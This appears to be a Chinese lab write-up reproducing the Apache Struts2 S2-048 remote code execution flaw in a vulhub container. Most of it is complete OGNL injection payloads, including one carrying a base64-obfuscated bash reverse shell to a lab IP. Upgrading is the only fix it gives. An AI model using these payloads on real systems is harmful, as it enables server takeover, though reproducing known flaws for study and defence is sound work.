1 漏洞信息
| 漏洞名称 | 远程代码执行漏洞 |
|---|---|
| 漏洞编号 | CVE-2017-9791 |
| 危害等级 | 高危 |
| 漏洞类型 | 中间件漏洞 |
| 漏洞厂商 | Apache |
| 漏洞组件 | Struts2 |
| 受影响版本 | 2.0.0 <= Struts2 <= 2.3.32 |
| 漏洞概述 | 攻击者构造恶意字段值（value）通过Struts2的struts2-struts1-plugin传递给被攻击主机，从而实现RCE，获取远程主机的控制权限。 |
2 环境搭建
2.1 环境概述
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Linux操作系统
2.2 搭建过程
拉取镜像
cd vulhub/struts2/s2-048docker-compose up -d
访问http://192.168.146.158:8048/integration/editGangster.action
3 漏洞复现
访问url，然后在Name写入${333*3}，Age和Description随便写。
发现成功执行了333*3的乘法，说明存在该漏洞。
既然发现漏洞了，那我们可以构造一个payload，执行id命令。
name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29.%28%23q%29%7D&age=2&__checkbox_bustedBefore=true&description=3payload原型：
name=%{(#dm=.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=.apache.commons.io.IOUtils@toString(.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}&age=2&__checkbox_bustedBefore=true&description=3成功执行了id命令。
接下来开始反弹shell
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1进行base加密bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}然后进行url编码bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
访问漏洞url并且添加恶意payload进行抓包。
name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%29.%28%23q%29%7D&age=2&__checkbox_bustedBefore=true&description=3payload原型：
name=%{(#dm=.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=.apache.commons.io.IOUtils@toString(.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}').getInputStream())).(#q)}&age=2&__checkbox_bustedBefore=true&description=3
攻击机进行监听，然后发现成功反弹了shell。
4 修复建议
1、推荐的解决方案：升级至比受漏洞影响的更高版本。
- End -
原文始发于微信公众号（NS Demon团队）：【漏洞复现】S2-048 远程代码执行漏洞(CVE-2017-9791)
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